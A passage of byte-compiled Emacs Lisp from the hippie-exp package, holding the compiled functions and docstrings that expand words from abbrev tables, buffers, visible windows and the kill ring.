\321\"\210\321+\207" [case-fold-search orig-case-fold-search buf expansion old he-search-bufs nil he-init-string he-list-beg buffer-list 0 1 "" he-buffer-member he-list-search he-reset-string he-substitute-string t he-searched-n-bufs he-search-loc he-search-string hippie-expand-max-buffers hippie-expand-only-buffers hippie-expand-ignore-buffers hippie-expand-no-restriction] 3 (#$ . 15123)]) (defalias 'he-list-search #[(str reverse) "\306\211\211\211 \204V \f\203 \307 \306\310#\202 \311 \306\310#\203V `\312\224\211b\210\306\211\313\314\217\210\f\203< `V\203< \310\204P \315\n`\"\316 \310#\203P \306 b\210\202 ,\207" [err pos beg result reverse str nil search-backward t search-forward 0 (forward-list 1) ((error (byte-code "\301\211\207" [err t] 2))) buffer-substring-no-properties he-string-member he-string-beg he-tried-table] 5]) (defalias 'he-list-beg #[nil "\212\300\301\302\217\210`)\207" [nil (backward-up-list 1) ((error))] 3]) #@268 Try to expand word before point according to all abbrev tables. The argument OLD has to be nil the first call of this function, and t for subsequent calls (for further possible expansions of the same string). It returns t if a new expansion is found, nil otherwise. (defalias 'try-expand-all-abbrevs #[(old) "\204 \305\306 `\"\210 \307\232?\205 \310\311\312\313\n\"\" \2032 @\203+ \314 @\f\315#\2032 A\211\204 \204? \203= \316 \210\317\207\320 @\315\"\210 A\315\207" [old he-search-string abbrev-table-name-list he-expand-list he-tried-table he-init-string he-dabbrev-beg "" mapcar #[(sym) "\302!\205 \303\304!!\205 \305 \227\304!\"\207" [sym he-search-string boundp vectorp eval abbrev-expansion] 4] append (local-abbrev-table global-abbrev-table) he-string-member t he-reset-string nil he-substitute-string] 6 (#$ . 16767)]) #@268 Try to expand word "dynamically", searching the current buffer. The argument OLD has to be nil the first call of this function, and t for subsequent calls (for further possible expansions of the same string). It returns t if a new expansion is found, nil otherwise. (defalias 'try-expand-dabbrev #[(old) "\306 \204 \307\310 `\"\210\n \306\223\210\311 \312\232\204Q \212\214\203\" ~\210\f\203? \nb\210\313 \311\"\n`\306\223\210\204? \n\306\223\210\306\204P \nb\210\313 \306\"\n`\306\223\210*\204` \203\\ \314 \210\306\202f \315\311\"\210\311)\207" [expansion old he-search-loc he-string-beg he-search-bw he-search-string nil he-init-string he-dabbrev-beg t "" he-dabbrev-search he-reset-string he-substitute-string hippie-expand-no-restriction he-string-end] 3 (#$ . 17618)]) #@269 Tries to expand word "dynamically", searching all other buffers. The argument OLD has to be nil the first call of this function, and t for subsequent calls (for further possible expansions of the same string). It returns t if a new expansion is found, nil otherwise. (defalias 'try-expand-dabbrev-all-buffers #[(old) "\306p\f\204 \307\310 `\"\210\311 \312\313 @\223\210\314\232\204\227 \203\227 \204\227 \2039 W\203\227 @q\210p\n=\204\212 \203O \315!\202T \315!?\203\212 \212\214\203` ~\210b\210 \316\306\")`\306\223\210 \204\206 AT\313 @\223\210*\202$ A\313 @\223\210\202$ \nq\210 \204\251 \f\203\245 \317 \210\306\202\257 \320 \321\"\210\321+\207" [case-fold-search orig-case-fold-search buf expansion old he-search-bufs nil he-init-string he-dabbrev-beg buffer-list 0 1 "" he-buffer-member he-dabbrev-search he-reset-string he-substitute-string t he-searched-n-bufs he-search-loc he-search-string hippie-expand-max-buffers hippie-expand-only-buffers hippie-expand-ignore-buffers hippie-expand-no-restriction] 3 (#$ . 18416)]) #@270 Try to expand word "dynamically", searching visible window parts. The argument OLD has to be nil the first call of this function, and t for subsequent calls (for further possible expansions of the same string). It returns t if a new expansion is found, nil otherwise. (defalias 'try-expand-dabbrev-visible #[(old) "\306p\307\310\311 !!\203 \312\202 \313 \204) \314\315 `\"\210\311 \316\f!\317\f!\223\210\320\232\204\227 \321 !\203\227 \n\204\227 \212\322 !q\210 b\210\323\306\324\f!#\211\203l \322!p=\203l \321!\325\224=\203l \323\306\324\f!# `p\223\210)\n\204) \326\f\306#\211\311 =\203\213 \306\211\223\210\202) \316\f!\317\f!\223\210\202) q\210\n\204\251 \203\245 \327 \210\306\202\257 \330\n\313\"\210\313+\207" [flag buf expansion old he-search-window he-search-loc nil frame-visible-p window-frame selected-window visible t he-init-string he-dabbrev-beg window-start window-buffer "" marker-position marker-buffer he-dabbrev-search window-end 0 next-window he-reset-string he-substitute-string he-search-string he-string-beg] 6 (#$ . 19502)]) (defalias 'he-dabbrev-search #[(pattern &optional reverse limit) "\306\204 \307\310 !\311Q\202% \312Hz\313=\203 \310 !\314P\202% \307\310 !\314Q \204j \f\2037 \315\n \316#\202< \317\n \316#\203j \320\312\224\312\225\"\203[ \312\224eV\203[ \312\224Sfz\321>\204d \322 \316#\203' \306\211\203+ *\207" [hippie-expand-dabbrev-as-symbol pattern regpat result reverse limit nil "\\<" regexp-quote "\\sw+" 0 95 "\\(\\sw\\|\\s_\\)+" re-search-backward t re-search-forward buffer-substring-no-properties (95 119) he-string-member he-tried-table] 5]) (defalias 'he-dabbrev-beg #[nil "`\212 \203 \303\304!\210\303\n\203 \305\202 \306!\307U\203 \202 `*\207" [op hippie-expand-dabbrev-skip-space hippie-expand-dabbrev-as-symbol skip-syntax-backward ". " "w_" "w" 0] 2]) #@265 Try to expand word "dynamically", searching the kill ring. The argument OLD has to be nil the first call of this function, and t for subsequent calls (for further possible completions of the same string). It returns t if a new completion is found, nil otherwise. (defalias 'try-expand-dabbrev-from-kill #[(old) "\306 \204 \307\310 `\"\210\n\311\232?\205 \312\n\311\232\204! \313\n!\2040 \203, \314 \210\306\2026 \315\316\"\210\316)\207" [expansion old he-search-string kill-ring he-expand-list he-search-loc2 nil he-init-string he-dabbrev-beg "" 0 he-dabbrev-kill-search he-reset-string he-substitute-string t] 3 (#$ . 21359)]) (defalias 'he-dabbrev-kill-search #[(pattern) "\306\204 \307\310 !\311Q\202% \312Hz\313=\203 \310 !\314P\202% \307\310 !\314Q\n@ \204\214 \n\203\214 \204x \315\f #\203x \312\224\312\225O\316\312 G\306 $\210\312\224T\203i \312\224\312V\203i \312\224SHz\317>\204r \320 \321#\2032 \306\211\2036 \204* \n\203* \nA\211@\312\202* +\207" [hippie-expand-dabbrev-as-symbol pattern he-expand-list killstr regpat result nil "\\<" regexp-quote "\\sw+" 0 95 "\\(\\sw\\|\\s_\\)+" string-match set-text-properties (95 119) he-string-member t he-search-loc2 he-tried-table] 6]) #@262 Try to complete text with something from the kill ring. The argument OLD has to be nil the first call of this function, and t for subsequent calls (for further possible completions of the same string). It returns t if a new completion is found, nil otherwise. (defalias 'try-expand-whole-kill #[(old) "\306 \204# \307\310 `\"\210\311\n \"\204 \n B\n\312\232?\205 \f\306\n\312\232\204- \313\n!\204< \2038 \314 \210\306\202A \315!\210\316)\207" [expansion old he-search-string he-tried-table kill-ring he-expand-list nil he-init-string he-kill-beg he-string-member "" he-whole-kill-search he-reset-string he-substitute-string t he-search-loc2] 3 (#$ . 22592)]) (defalias 'he-whole-kill-search #[(str) "\306\211\307! @\310 \f\204\230 \203\230 \204. \311 \nT#\211\203. \nB\202 \f\204\205 \203\205 @A\212b\210`\nZeY\203r `\nZf \312H=\203r \313 \312\nO`\nZ\314#\203r \n\306O\315\312\fG\306\f$\210)\f\203. \316\f\"\203. \306\211\2032 \f\204 \203 A\211@\310\202 \f-\207" [str he-expand-list pos killstr result case-fold-search nil regexp-quote -1 string-match 0 search-backward t set-text-properties he-string-member he-search-loc2 he-string-beg he-tried-table] 6]) (defalias 'he-kill-beg #[nil "`\212\301\302!\210\301\303!\304U\203 \202 `*\207" [op skip-syntax-backward "^w_" "w_" 0] 2]) (provide 'hippie-exp)
Close
